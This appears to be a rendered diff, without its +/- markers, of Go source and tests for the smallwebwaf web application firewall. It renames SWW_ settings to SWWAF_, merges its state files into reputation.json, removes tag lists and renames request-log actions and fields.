// hitFrom is checker's Hit for a request from address, offender or not.
// Its client is address for an IPv4 address, and its /64 for an IPv6 one,
// as sww counts clients.
// as smallwebwaf counts clients.
func hitFrom(
t *testing.T, checker *reputation.AbuseIPDB, address string, offender bool,
) (int64, bool) {
+2 -2
View File
@@ -291,7 +291,7 @@ func crowdSecFailures() []crowdSecFailure {
// other than its decision list, such as the one a redirect names, and that
// the key is in none of what the fetches leave behind: log, the process
// log, the alerts waiting in queue, and the copies of lists, which
// lists.json keeps.
// reputation.json keeps.
func wantKeyNotShown(
t *testing.T, e *engine, log string, lists *reputation.Lists, queue *alerts.Queue,
) {
@@ -326,7 +326,7 @@ func TestCrowdSecDecisionListKeptAcrossARestartEndsWhenItsDecisionsDo(t *testing
lists := start(t, e, crowdSecParams())
kept := lists.Snapshot()
// Restarted half an hour later with what lists.json keeps, and
// Restarted half an hour later with what reputation.json keeps, and
// the engine down, the decision still bans, until the end it had at
// the fetch, half an hour on.
time.Sleep(30 * time.Minute)
+10 -10
View File
@@ -40,7 +40,7 @@ var (
errNotListing = errors.New("the answer is outside 127.0.0.0/8")
)
// Verdict is what a zone said about a client, as dnsbl.json holds
// Verdict is what a zone said about a client, as reputation.json holds
// it: the zone, the client's address, whether the zone lists it, and when
// the zone answered.
type Verdict struct {
@@ -53,15 +53,15 @@ type Verdict struct {
// DNSBLParams are what NewDNSBL needs.
type DNSBLParams struct {
// Zones are the DNSBL zones clients are asked about in
// (SWW_DNSBL_ZONES).
// (SWWAF_DNSBL_ZONES).
Zones []string
// Resolver is the resolver they are asked through
// (SWW_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
// (SWWAF_DNSBL_RESOLVER), or, while it is the zero AddrPort, the
// host's, as /etc/resolv.conf names it.
Resolver netip.AddrPort
// CacheTTL is how long a verdict is used after it was fetched
// (SWW_REPUTATION_CACHE_TTL), and Timeout how long a query may take
// (SWW_REPUTATION_TIMEOUT).
// (SWWAF_REPUTATION_CACHE_TTL), and Timeout how long a query may take
// (SWWAF_REPUTATION_TIMEOUT).
CacheTTL time.Duration
Timeout time.Duration
// Now tells the time, normally time.Now in UTC.
@@ -127,13 +127,13 @@ func NewDNSBL(params DNSBLParams) *DNSBL {
}
}
// Zones returns the zones, in the order SWW_DNSBL_ZONES names them.
// Zones returns the zones, in the order SWWAF_DNSBL_ZONES names them.
func (d *DNSBL) Zones() []string {
return slices.Clone(d.params.Zones)
}
// ListedBy returns the zones whose verdict on addr, a client's address,
// lists it, in the order SWW_DNSBL_ZONES names them, each with its key
// lists it, in the order SWWAF_DNSBL_ZONES names them, each with its key
// masked, as config.MaskZoneKey masks it, since they go to the request
// log, the alerts and the metrics. A verdict is used until CacheTTL has
// passed since it was fetched. Each zone without one is asked about addr
@@ -187,7 +187,7 @@ func (d *DNSBL) Failures(zone string) int {
}
// Snapshot returns every verdict still in use, sorted by client, then by
// zone, as dnsbl.json lists them.
// zone, as reputation.json lists them.
func (d *DNSBL) Snapshot() []Verdict {
d.mu.Lock()
@@ -209,8 +209,8 @@ func (d *DNSBL) Snapshot() []Verdict {
return verdicts
}
// Load keeps verdicts, read from dnsbl.json, in place of those it
// keeps, but for those of a zone SWW_DNSBL_ZONES does not name, and,
// Load keeps verdicts, read from reputation.json, in place of those it
// keeps, but for those of a zone SWWAF_DNSBL_ZONES does not name, and,
// past maxVerdicts, those fetched longest ago. One fetched CacheTTL ago or
// more is neither used nor written, as for any verdict.
func (d *DNSBL) Load(verdicts []Verdict) {
+7 -7
View File
@@ -40,8 +40,8 @@ const (
// zone and otherZone are the DNSBL zones the tests name.
zone = "dnsbl.example"
otherZone = "other.example"
// cacheTTL is the tests' SWW_REPUTATION_CACHE_TTL, and timeout their
// SWW_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
// cacheTTL is the tests' SWWAF_REPUTATION_CACHE_TTL, and timeout their
// SWWAF_REPUTATION_TIMEOUT: a second, the least time /etc/resolv.conf
// can have Go's resolver wait for one server, so that it is the
// DNSBL's own timeout that ends a query, whatever that file says.
cacheTTL = 24 * time.Hour
@@ -311,7 +311,7 @@ func TestMetricsCountEachZonesQueriesAndThoseThatFailed(t *testing.T) {
"queries_total" + `{instance="app",source="` + otherZone + `"}`: "1",
"failures_total" + `{instance="app",source="` + otherZone + `"}`: "1",
} {
line := "\nsww_reputation_" + series + " " + want + "\n"
line := "\nsmallwebwaf_reputation_" + series + " " + want + "\n"
if !strings.Contains(scraped.Body.String(), line) {
t.Errorf("metrics\n%s\nwant%s", scraped.Body.String(), line)
}
@@ -389,7 +389,7 @@ func TestVerdictsKeptAcrossARestart(t *testing.T) {
t.Errorf("verdicts %+v, want %+v", kept, want)
}
// Restarted an hour later with what dnsbl.json keeps, it uses
// Restarted an hour later with what reputation.json keeps, it uses
// the verdicts, and asks the zone nothing, until the TTL has passed
// since they were fetched.
time.Sleep(time.Hour)
@@ -419,7 +419,7 @@ func TestNeitherAVerdictOfAZoneNotNamedNorOnePastItsTTLIsKept(t *testing.T) {
dnsbl := reputation.NewDNSBL(p)
// The last verdict still in use, one fetched a TTL ago, and one of a
// zone SWW_DNSBL_ZONES does not name.
// zone SWWAF_DNSBL_ZONES does not name.
inUse := reputation.Verdict{
Zone: zone, Client: netip.MustParseAddr(listed), Listed: true,
Fetched: now.Add(-cacheTTL + time.Nanosecond),
@@ -446,7 +446,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
p.Now = func() time.Time { return now }
dnsbl := reputation.NewDNSBL(p)
// 100,001 verdicts, listed by client, as dnsbl.json lists them,
// 100,001 verdicts, listed by client, as reputation.json lists them,
// each fetched a millisecond before the one before it: the last is one
// too many.
const count = 100001
@@ -471,7 +471,7 @@ func TestAtMost100000VerdictsKeptTheOneFetchedLongestAgoDroppedFirst(t *testing.
}
//nolint:paralleltest // one at a time, as the comment at the top of this file says
func TestQueriesGoToTheResolverSWWDNSBLResolverNames(t *testing.T) {
func TestQueriesGoToTheResolverSWWAFDNSBLResolverNames(t *testing.T) {
resolver := &resolverStandIn{answers: map[string]answer{
listedName: {addrs: []string{listing}},
}}
+32 -55
View File
@@ -1,14 +1,13 @@
// Package reputation fetches the lists the settings name by URL: the
// blocklists of SWW_BLOCKLIST_URLS, the file of AS:percent lines
// SWW_ASN_LIMIT_PERCENT_URL names, the address lists of SWW_TAG_LISTS, and
// the decision list of the CrowdSec engine SWW_CROWDSEC_LAPI_URL names. It
// keeps the last good copy of
// blocklists of SWWAF_BLOCKLIST_URLS, the file of AS:percent lines
// SWWAF_ASN_LIMIT_PERCENT_URL names, and the decision list of the CrowdSec
// engine SWWAF_CROWDSEC_LAPI_URL names. It keeps the last good copy of
// each, whole, comment lines included, which is used while a fetch fails,
// and when each was last tried. It also asks the DNSBL zones of
// SWW_DNSBL_ZONES about clients, and keeps their verdicts, and checks
// SWWAF_DNSBL_ZONES about clients, and keeps their verdicts, and checks
// clients with AbuseIPDB, and keeps their scores and the checks spent
// today. The state package writes all of these to files and reads them
// from there, so that a restart keeps them too.
// today. The state package writes all of these to reputation.json and
// reads them from it, so that a restart keeps them too.
package reputation
import (
@@ -54,7 +53,7 @@ var (
"does not give an address or a netblock and a duration, such as 4h0m0s")
)
// List is a list as lists.json holds it: the URL it is fetched from,
// List is a list as reputation.json holds it: the URL it is fetched from,
// when it was last tried, the fetch failed or not, and its last good copy:
// when that was fetched, and its lines, as fetched, comment lines
// included, both left out while no fetch of it has succeeded.
@@ -67,20 +66,18 @@ type List struct {
// Params are what New needs.
type Params struct {
// BlocklistURLs are the blocklists (SWW_BLOCKLIST_URLS), and
// BlocklistURLs are the blocklists (SWWAF_BLOCKLIST_URLS), and
// ASNLimitPercentURL the file of AS:percent lines
// (SWW_ASN_LIMIT_PERCENT_URL), "" while it is unset.
// (SWWAF_ASN_LIMIT_PERCENT_URL), "" while it is unset.
BlocklistURLs []string
ASNLimitPercentURL string
// TagLists are the address lists that add a tag (SWW_TAG_LISTS).
TagLists []config.TagList
// CrowdSecDecisionsURL is the CrowdSec decision list, "" while
// SWW_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWW_CROWDSEC_LAPI_KEY).
// SWWAF_CROWDSEC_LAPI_URL is unset, fetched with CrowdSecKey
// (SWWAF_CROWDSEC_LAPI_KEY).
CrowdSecDecisionsURL string
CrowdSecKey string
// Refresh is how long after a list was last fetched or tried it is
// fetched again (SWW_BLOCKLIST_REFRESH), but for the CrowdSec decision
// fetched again (SWWAF_BLOCKLIST_REFRESH), but for the CrowdSec decision
// list, which is fetched again crowdSecRefresh after.
Refresh time.Duration
// Now tells the time, normally time.Now in UTC.
@@ -106,7 +103,7 @@ type Lists struct {
lists map[string]*list
}
// list is one list: what lists.json keeps of it, its last try, zero
// list is one list: what reputation.json keeps of it, its last try, zero
// before the first, and its last good copy, what that copy says, and how
// many fetches of it failed.
type list struct {
@@ -115,11 +112,11 @@ type list struct {
failures int
}
// entries are what the lines of a copy say: for a blocklist or a tag list, the
// netblocks it names, with the lengths among them, for the file of AS:percent
// lines, the percentage it gives each AS number, and for the CrowdSec decision
// list, the decision on each netblock that ends last, with the lengths among
// them.
// entries are what the lines of a copy say: for a blocklist, the netblocks
// it names, with the lengths among them, for the file of AS:percent lines,
// the percentage it gives each AS number, and for the CrowdSec decision
// list, the decision on each netblock that ends last, with the lengths
// among them.
type entries struct {
netblocks map[netip.Prefix]bool
lengths []int
@@ -155,18 +152,14 @@ func New(params Params) *Lists {
}
// URLs returns the URL of every list: the blocklists' in the order
// SWW_BLOCKLIST_URLS names them, then SWW_ASN_LIMIT_PERCENT_URL, then the
// tag lists', then the CrowdSec decision list's.
// SWWAF_BLOCKLIST_URLS names them, then SWWAF_ASN_LIMIT_PERCENT_URL, then
// the CrowdSec decision list's.
func (l *Lists) URLs() []string {
urls := slices.Clone(l.params.BlocklistURLs)
if l.params.ASNLimitPercentURL != "" {
urls = append(urls, l.params.ASNLimitPercentURL)
}
for _, list := range l.params.TagLists {
urls = append(urls, list.URL)
}
if l.params.CrowdSecDecisionsURL != "" {
urls = append(urls, l.params.CrowdSecDecisionsURL)
}
@@ -175,7 +168,7 @@ func (l *Lists) URLs() []string {
}
// ListedBy returns the URLs of the blocklists whose copy lists addr, in
// the order SWW_BLOCKLIST_URLS names them.
// the order SWWAF_BLOCKLIST_URLS names them.
func (l *Lists) ListedBy(addr netip.Addr) []string {
l.mu.Lock()
defer l.mu.Unlock()
@@ -191,22 +184,6 @@ func (l *Lists) ListedBy(addr netip.Addr) []string {
return listedBy
}
// TagsOf returns the names of the tag lists whose copy holds addr.
func (l *Lists) TagsOf(addr netip.Addr) []string {
l.mu.Lock()
defer l.mu.Unlock()
var names []string
for _, list := range l.params.TagLists {
if l.lists[list.URL].entries.contain(addr) {
names = append(names, list.Name)
}
}
return names
}
// ASNLimitPercent returns the percentage the copy of the file of
// AS:percent lines gives asn, and whether it lists asn.
func (l *Lists) ASNLimitPercent(asn string) (int64, bool) {
@@ -272,7 +249,7 @@ func (l *Lists) Failures(listURL string) int {
// Run fetches each list once it is due, as due tells, until ctx is done. A
// list never tried is fetched at once, and so is one that is due by its
// last try or copy read from lists.json.
// last try or copy read from reputation.json.
func (l *Lists) Run(ctx context.Context) {
if len(l.lists) == 0 {
return
@@ -292,7 +269,7 @@ func (l *Lists) Run(ctx context.Context) {
}
// Snapshot returns each list that has been tried, with its copy, if it
// has one, sorted by URL, as lists.json lists them.
// has one, sorted by URL, as reputation.json lists them.
func (l *Lists) Snapshot() []List {
l.mu.Lock()
@@ -313,7 +290,7 @@ func (l *Lists) Snapshot() []List {
return tried
}
// Load puts lists, read from lists.json, in place of the last tries
// Load puts lists, read from reputation.json, in place of the last tries
// and copies held. A list Params does not name is dropped. A copy with a
// line that parse refuses is an error, and then nothing changes.
func (l *Lists) Load(lists []List) error {
@@ -394,7 +371,7 @@ func (l *Lists) due(listURL string) time.Time {
// fetch fetches the list at listURL, and notes the try. A good copy takes
// the place of the one held. A failure leaves that in use, and is counted,
// logged and raised as a source_failure alert. A fetch cut off as ctx
// ends, as sww stops, is no failure, but is still noted as a try,
// ends, as smallwebwaf stops, is no failure, but is still noted as a try,
// so that a restart waits for it: the server may have had its request.
func (l *Lists) fetch(ctx context.Context, listURL string) {
lines, err := l.get(ctx, listURL)
@@ -504,10 +481,10 @@ func (l *Lists) get(ctx context.Context, listURL string) ([]string, error) {
}
// parse reads the lines of the list at listURL, fetched at fetched: those
// of a blocklist or a tag list, of the file of AS:percent lines, or of the
// CrowdSec decision list. In all but the decision list, anything after a ; or
// a # on a line is left out, and so is a line left blank. Any other line that
// does not read is an error naming it by its number.
// of a blocklist, of the file of AS:percent lines, or of the CrowdSec
// decision list. In the first two, anything after a ; or a # on a line is
// left out, and so is a line left blank. Any other line that does not read
// is an error naming it by its number.
func (l *Lists) parse(
listURL string, lines []string, fetched time.Time,
) (entries, error) {
@@ -521,8 +498,8 @@ func (l *Lists) parse(
}
}
// parseNetblocks reads the lines of a blocklist or a tag list, each an address
// or a netblock as the settings take them.
// parseNetblocks reads a blocklist's lines, each an address or a netblock
// as the settings take them.
func parseNetblocks(lines []string) (entries, error) {
found := entries{netblocks: map[netip.Prefix]bool{}}
@@ -574,7 +551,7 @@ func parseNetblock(text string) (netip.Prefix, bool) {
}
// parsePercents reads the lines of the file of AS:percent lines, each an
// AS number, : and a percentage, such as AS64496:50. An
// AS number, : and a percentage, as SWWAF_ASN_LIMIT_PERCENT takes them. An
// AS number listed more than once gets the lowest of its percentages.
func parsePercents(lines []string) (entries, error) {
found := entries{percents: map[string]int64{}}
+6 -6
View File
@@ -34,8 +34,8 @@ const (
dropURL = "https://lists.example/drop.txt"
torURL = "https://lists.example/tor.txt"
asnURL = "https://lists.example/asn.txt"
// refresh is the tests' SWW_BLOCKLIST_REFRESH, and cooldown their
// SWW_ALERT_COOLDOWN, longer than it.
// refresh is the tests' SWWAF_BLOCKLIST_REFRESH, and cooldown their
// SWWAF_ALERT_COOLDOWN, longer than it.
refresh = 24 * time.Hour
cooldown = 48 * time.Hour
// drop is a blocklist as the Spamhaus DROP list is written, with an
@@ -116,7 +116,7 @@ func TestClientIsListedByEachBlocklistThatListsIt(t *testing.T) {
}}
lists := start(t, servers, params(torURL, dropURL))
// In the order SWW_BLOCKLIST_URLS names them.
// In the order SWWAF_BLOCKLIST_URLS names them.
wantListedBy(t, lists, "203.0.113.9", torURL, dropURL)
wantListedBy(t, lists, "203.0.113.8", dropURL)
})
@@ -260,7 +260,7 @@ func TestKeptCopyIsFetchedAgainOnceRefreshHasPassedSinceItWasFetched(t *testing.
lists.SetTransport(servers)
// drop.txt was fetched an hour ago, and tor.txt a refresh ago, as
// lists.json says at start.
// reputation.json says at start.
err := lists.Load([]reputation.List{
{URL: dropURL, Fetched: time.Now().Add(-time.Hour), Lines: []string{"203.0.113.9"}},
{URL: torURL, Fetched: time.Now().Add(-refresh), Lines: []string{"198.51.100.9"}},
@@ -297,7 +297,7 @@ func TestRestartWaitsRefreshAfterTheLastTryEvenOneThatFailed(t *testing.T) {
time.Sleep(refresh)
wantFetches(t, servers, 2)
// Restarted with what lists.json keeps, it waits a refresh
// Restarted with what reputation.json keeps, it waits a refresh
// after the failed try, as it does while it runs.
restarted := &standIn{lists: map[string]string{dropURL: "198.51.100.2\n"}}
again := reputation.New(params(dropURL))
@@ -353,7 +353,7 @@ func TestFetchCutOffAsItStopsIsNoFailureButARestartWaitsForIt(t *testing.T) {
waiting(queue))
}
// Restarted an hour later with what lists.json keeps, it fetches
// Restarted an hour later with what reputation.json keeps, it fetches
// tor.txt, never tried, at once, and drop.txt a refresh after its
// cut-off try.
time.Sleep(time.Hour)
+88 -137
View File
@@ -1,11 +1,10 @@
// Package requestlog writes the lines sww prints on stdout: one
// JSON object per request, two from waf and a short one from rproxy,
// marked "type":"request", and the process's own messages as JSON lines marked
// Package requestlog writes the lines smallwebwaf prints on stdout: one
// JSON object per request, two from servewaf and a short one from rproxy, marked
// "type":"request", and the process's own messages as JSON lines marked
// "type":"process".
package requestlog
import (
"bytes"
"encoding/json"
"fmt"
"io"
@@ -15,50 +14,37 @@ import (
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
)
// The action a request line names: what waf did with the request.
// The action a request line names: what servewaf did with the request.
const (
// ActionForward is a request waf allowed, which rproxy passes to
// the app.
// ActionForward is a request servewaf allowed, which rproxy passes to the
// app.
ActionForward = "forward"
// ActionRequestHeaderTooLarge is a request over the header limits.
ActionRequestHeaderTooLarge = "request_header_too_large"
// ActionClientIsRateLimited is a request refused because it took its
// client over a rate limit, which bans the client.
ActionClientIsRateLimited = "client_is_rate_limited"
// ActionTemporarilyBanned is a request refused because a ban that runs
// out covers its client, or because it matched a ban rule, asked for a
// trap path or the CrowdSec decision list lists its client, and so made
// such a ban.
ActionTemporarilyBanned = "temporarily_banned"
// ActionPermanentlyBanned is a request refused because a ban that never
// runs out covers its client, or because the request made such a ban or
// made its client's ban permanent.
ActionPermanentlyBanned = "permanently_banned"
// ActionBlockedByBlockRule is a request refused because it matched a
// block rule.
ActionBlockedByBlockRule = "blocked_by_block_rule"
// ActionBlockedByCoreRuleSet is a request refused because the Core Rule
// Set scored it at or over SWW_WAF_ANOMALY_THRESHOLD.
ActionBlockedByCoreRuleSet = "blocked_by_core_rule_set"
// ActionClientDenied is a request refused because its client is in
// SWW_DENY_NETS, in a blocklist while SWW_BLOCKLIST_ACTION is deny,
// ActionTooLarge is a request over the header limits.
ActionTooLarge = "too_large"
// ActionRateLimited is a request refused because it took its client
// over a rate limit, which bans the client.
ActionRateLimited = "rate_limited"
// ActionBanned is a request refused because a ban covers its client,
// or because it matched a ban rule, asked for a trap path or the
// CrowdSec decision list lists its client, each of which bans the
// client.
ActionBanned = "banned"
// ActionRuleBlocked is a request refused because it matched a block
// rule.
ActionRuleBlocked = "rule_blocked"
// ActionWAFBlocked is a request refused because the Core Rule Set
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
ActionWAFBlocked = "waf_blocked"
// ActionDenied is a request refused because its client is in
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
// SWW_REPUTATION_ACTION is deny, or that carries a tag in SWW_TAG_DENY.
ActionClientDenied = "client_denied"
// ActionCountryDenied is a request refused because its client's country
// is not in SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
// SWWAF_REPUTATION_ACTION is deny.
ActionDenied = "denied"
// ActionCountryDenied is a request refused for its client's country.
ActionCountryDenied = "country_denied"
// ActionOwnEndpoint is a request waf answered at one of its own
// endpoints, or a question about a path under /_sww/.
ActionOwnEndpoint = "own_endpoint"
// ActionAdmin is a request servewaf answered at one of its own endpoints,
// or a question about a path under /_smallwebwaf/.
ActionAdmin = "admin"
)
// OffenceLimit is the offence a request line names for a request that
@@ -66,18 +52,18 @@ const (
// limit.
const OffenceLimit = "limit"
// LimitHitMinuteRefusals is the limit_hit a request line names for a request
// LimitHitErrorBurst is the limit_hit a request line names for a request
// that broke the error burst.
const LimitHitMinuteRefusals = "minute_refusals"
const LimitHitErrorBurst = "error_burst"
// The waf_line a request line names, which says which of
// waf's two lines about a question it is.
// The servewaf_line a request line names, which says which of servewaf's two
// lines about a question it is.
const (
// WAFLineDecision is waf's line at its decision.
WAFLineDecision = "decision"
// WAFLineReport is waf's line when rproxy's report
// comes, with the decision's fields and the report's together.
WAFLineReport = "report"
// ServeWAFLineDecision is servewaf's line at its decision.
ServeWAFLineDecision = "decision"
// ServeWAFLineReport is servewaf's line when rproxy's report comes, with
// the decision's fields and the report's together.
ServeWAFLineReport = "report"
)
// timeLayout is RFC 3339 with milliseconds.
@@ -90,9 +76,9 @@ const timeLayout = "2006-01-02T15:04:05.000Z07:00"
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
type Line struct {
Type string `json:"type"`
// WAFLine is WAFLineDecision or WAFLineReport
// on waf's two lines about a question.
WAFLine string `json:"waf_line,omitempty"`
// ServeWAFLine is ServeWAFLineDecision or ServeWAFLineReport on servewaf's
// two lines about a question.
ServeWAFLine string `json:"servewaf_line,omitempty"`
// The standard web log fields. Scheme is how the client reached rproxy, or
// the trusted proxy in front of it.
@@ -112,7 +98,7 @@ type Line struct {
UserAgent string `json:"user_agent"`
// Request detail. RequestID is the id rproxy made for the request, or for a
// request to waf's own endpoints a new one. ForwardedFor is the
// request to servewaf's own endpoints a new one. ForwardedFor is the
// X-Forwarded-For header as received. ClientGroup is the netblock the
// client is counted as. ASN, ASName and Country are the client's AS
// number, AS name and country, as looked up.
@@ -126,45 +112,34 @@ type Line struct {
ContentType string `json:"content_type,omitempty"`
// ContentLength is the length of its body the request announced.
ContentLength int64 `json:"content_length,omitempty"`
// RequestHeaders are the headers SWW_LOG_REQUEST_HEADERS names that
// RequestHeaders are the headers SWWAF_LOG_REQUEST_HEADERS names that
// the request carried, by name in lower case.
RequestHeaders map[string]string `json:"request_headers,omitempty"`
HasAuthorization bool `json:"has_authorization,omitempty"`
HasCookie bool `json:"has_cookie,omitempty"`
// Response detail, of waf's own answer. Aborted is true when
// rproxy, or the admin's tool, went away before the answer.
// Response detail, of servewaf's own answer. Aborted is true when rproxy, or
// the admin's tool, went away before the answer.
ResponseContentType string `json:"response_content_type,omitempty"`
Aborted bool `json:"aborted,omitempty"`
// The decision.
Action string `json:"action"`
// WouldAction is, in observe mode, the action enforce mode would have
// taken with a request it would have refused: ActionClientDenied,
// ActionTemporarilyBanned, ActionPermanentlyBanned, ActionCountryDenied,
// ActionClientIsRateLimited, ActionBlockedByBlockRule,
// ActionBlockedByCoreRuleSet, or, in waf,
// ActionRequestHeaderTooLarge for the header limits.
// taken with a request it would have refused: ActionDenied,
// ActionBanned, ActionCountryDenied, ActionRateLimited,
// ActionRuleBlocked, ActionWAFBlocked, or, in servewaf, ActionTooLarge
// for the header limits.
WouldAction string `json:"would_action,omitempty"`
// Heuristic is the name of the heuristic that refused the request, in
// observe mode too, and HeuristicFigures are the figures it acted on, by
// name.
Heuristic string `json:"heuristic,omitempty"`
HeuristicFigures map[string]any `json:"heuristic_figures,omitempty"`
// AfterAnswerHeuristic and AfterAnswerHeuristicFigures are the same for
// the heuristic that banned the client after waf answered the
// request.
AfterAnswerHeuristic string `json:"after_answer_heuristic,omitempty"`
AfterAnswerHeuristicFigures map[string]any `json:"after_answer_heuristic_figures,omitempty"` //nolint:lll // a struct tag cannot be split
// RateLimitPercent and RateLimitPercentSetting are, for a request the
// rate limits counted whose client a biased threshold gives a percentage
// of the rate limits below 100, that percentage and the setting that gave
// it. BytesLimitPercent and BytesLimitPercentSetting are the same for the
// byte limits.
RateLimitPercent *int64 `json:"rate_limit_percent,omitempty"`
RateLimitPercentSetting string `json:"rate_limit_percent_setting,omitempty"`
BytesLimitPercent *int64 `json:"bytes_limit_percent,omitempty"`
BytesLimitPercentSetting string `json:"bytes_limit_percent_setting,omitempty"`
// LimitPercent and LimitPercentSetting are, for a request the rate
// limits counted whose client a biased threshold gives a percentage of
// the rate limits below 100, that percentage and the setting that gave
// it. BytesPercent and BytesPercentSetting are the same for the byte
// limits.
LimitPercent *int64 `json:"limit_percent,omitempty"`
LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
BytesPercent *int64 `json:"bytes_percent,omitempty"`
BytesPercentSetting string `json:"bytes_percent_setting,omitempty"`
// Counts are, for a request the rate limits counted, the client's
// requests as they counted them with this one, and its bytes as the
// byte limits counted them, with this request's once it has ended if
@@ -172,42 +147,36 @@ type Line struct {
Counts ratelimit.Counts `json:"counts,omitzero"`
// RuleIDs are the ids of the rule file rules the request matched.
RuleIDs []string `json:"rule_ids,omitempty"`
// CoreRuleSetRuleIDs are the ids of the Core Rule Set's rules the request
// matched, and CoreRuleSetScore its anomaly score, nil for a request the
// Core Rule Set did not inspect.
CoreRuleSetRuleIDs []int `json:"core_rule_set_rule_ids,omitempty"`
CoreRuleSetScore *int `json:"core_rule_set_score,omitempty"`
// WAFRuleIDs are the ids of the Core Rule Set's rules the request
// matched, and WAFScore its anomaly score, nil for a request the Core
// Rule Set did not inspect.
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
WAFScore *int `json:"waf_score,omitempty"`
// LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitMinuteRefusals for the error burst.
// LimitHitErrorBurst for the error burst.
LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then
// that of the CrowdSec decision list when it does, then the DNSBL zones
// whose verdict lists it, their keys masked, then abuseipdb when its
// score is a hit.
Reputation []string `json:"reputation,omitempty"`
// Tags are the request's tags, sorted.
Tags []string `json:"tags,omitempty"`
// RouteWatchTagsMissing, while SWW_ROUTEWATCH_URL is set, says why the
// request got no tags from routewatch: no_answer_yet, request_failed or
// no_route.
RouteWatchTagsMissing string `json:"routewatch_tags_missing,omitempty"`
// Offence is the offence the request was held as, OffenceLimit.
Offence string `json:"offence,omitempty"`
// BanExpires is when the ban the request made, or was refused under,
// ends: a time, or "permanent".
BanExpires string `json:"ban_expires,omitempty"`
// The timings. DurationChecksMS is the time until the checks were done, and
// DurationCoreRuleSetMS the part of it the Core Rule Set took.
// DurationUpstreamTotalMS is what the report of an allowed request gives,
// The timings, in milliseconds. DurationChecks is the time until the
// checks were done, and DurationWAF the part of it the Core Rule Set
// took. DurationUpstreamTotal is what the report of an allowed request gives,
// from the hand-over to the app until the end of its answer. Each but
// DurationTotalMS is nil for a request that did not get that far.
DurationTotalMS float64 `json:"duration_total_ms"`
DurationChecksMS *float64 `json:"duration_checks_ms,omitempty"`
DurationCoreRuleSetMS *float64 `json:"duration_core_rule_set_ms,omitempty"`
DurationUpstreamTotalMS *float64 `json:"duration_upstream_total_ms,omitempty"`
// DurationTotal is nil for a request that did not get that far.
DurationTotal float64 `json:"duration_total"`
DurationChecks *float64 `json:"duration_checks,omitempty"`
DurationWAF *float64 `json:"duration_waf,omitempty"`
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
}
// RProxyLine is rproxy's short line in the request log about one request. The
@@ -227,12 +196,12 @@ type RProxyLine struct {
Status int `json:"status"`
RequestBytes int64 `json:"request_bytes"`
ResponseBytes int64 `json:"response_bytes"`
// DurationRequestMS runs from the request's headers being read until the app
// has been sent the whole request, or the answer has started if that is
// sooner. DurationResponseMS runs from then until the answer ends.
DurationRequestMS float64 `json:"duration_request_ms"`
DurationResponseMS float64 `json:"duration_response_ms"`
// Disposition is the valid disposition waf answered or, while
// DurationRequest runs in milliseconds from the request's headers being read
// until the app has been sent the whole request, or the answer has started
// if that is sooner. DurationResponse runs from then until the answer ends.
DurationRequest float64 `json:"duration_request"`
DurationResponse float64 `json:"duration_response"`
// Disposition is the valid disposition servewaf answered or, while
// DefaultDisposition is true, the value of SWRP_DEFAULT_DISPOSITION. It is ""
// when neither gave one.
Disposition string `json:"disposition,omitempty"`
@@ -253,20 +222,14 @@ func WriteRProxyLine(w io.Writer, line *RProxyLine) error {
return writeJSONLine(w, line)
}
// writeJSONLine writes line to w as one JSON line. It writes "&", "<" and
// ">" as they are, so a query string reads as it was sent.
// writeJSONLine writes line to w as one JSON line.
func writeJSONLine(w io.Writer, line any) error {
var encoded bytes.Buffer
encoder := json.NewEncoder(&encoded)
encoder.SetEscapeHTML(false)
err := encoder.Encode(line)
encoded, err := json.Marshal(line)
if err != nil {
return fmt.Errorf("encode the request log line: %w", err)
}
_, err = w.Write(encoded.Bytes())
_, err = w.Write(append(encoded, '\n'))
if err != nil {
return fmt.Errorf("write the request log line: %w", err)
}
@@ -282,37 +245,25 @@ func FormatTime(t time.Time) string {
// Milliseconds is d in milliseconds, to the microsecond.
func Milliseconds(d time.Duration) float64 {
return float64(
d.Microseconds(),
) / float64(
time.Millisecond/time.Microsecond,
)
return float64(d.Microseconds()) / float64(time.Millisecond/time.Microsecond)
}
// NewProcessLogger returns the logger for the process's own messages:
// JSON lines on w, marked "type":"process", with the time in the same form
// as a request line's, and instanceName, SWW_INSTANCE_NAME, as instance.
// It writes only the messages at level, SWW_LOG_LEVEL, or more severe;
// as a request line's, and instanceName, SWWAF_INSTANCE_NAME, as instance.
// It writes only the messages at level, SWWAF_LOG_LEVEL, or more severe;
// the request lines Write writes are never held back.
func NewProcessLogger(
w io.Writer,
instanceName string,
level slog.Level,
) *slog.Logger {
func NewProcessLogger(w io.Writer, instanceName string, level slog.Level) *slog.Logger {
handler := slog.NewJSONHandler(w, &slog.HandlerOptions{
Level: level,
ReplaceAttr: func(groups []string, attr slog.Attr) slog.Attr {
if attr.Key == slog.TimeKey && len(groups) == 0 {
return slog.String(
slog.TimeKey,
FormatTime(attr.Value.Time()),
)
return slog.String(slog.TimeKey, FormatTime(attr.Value.Time()))
}
return attr
},
})
return slog.New(handler).
With("type", "process", "instance", instanceName)
return slog.New(handler).With("type", "process", "instance", instanceName)
}
+8 -46
View File
@@ -22,7 +22,7 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
ClientIP: "203.0.113.9",
Status: 200,
Action: requestlog.ActionForward,
DurationTotalMS: requestlog.Milliseconds(1500 * time.Microsecond),
DurationTotal: requestlog.Milliseconds(1500 * time.Microsecond),
})
if err != nil {
t.Fatalf("write: %v", err)
@@ -43,7 +43,7 @@ func TestWriteWritesOneJSONLineMarkedRequest(t *testing.T) {
want := map[string]any{
"type": "request", "time": "2026-10-03T12:00:00.000Z",
"client_ip": "203.0.113.9", "status": 200.0, "action": "forward",
"duration_total_ms": 1.5,
"duration_total": 1.5,
}
for name, value := range want {
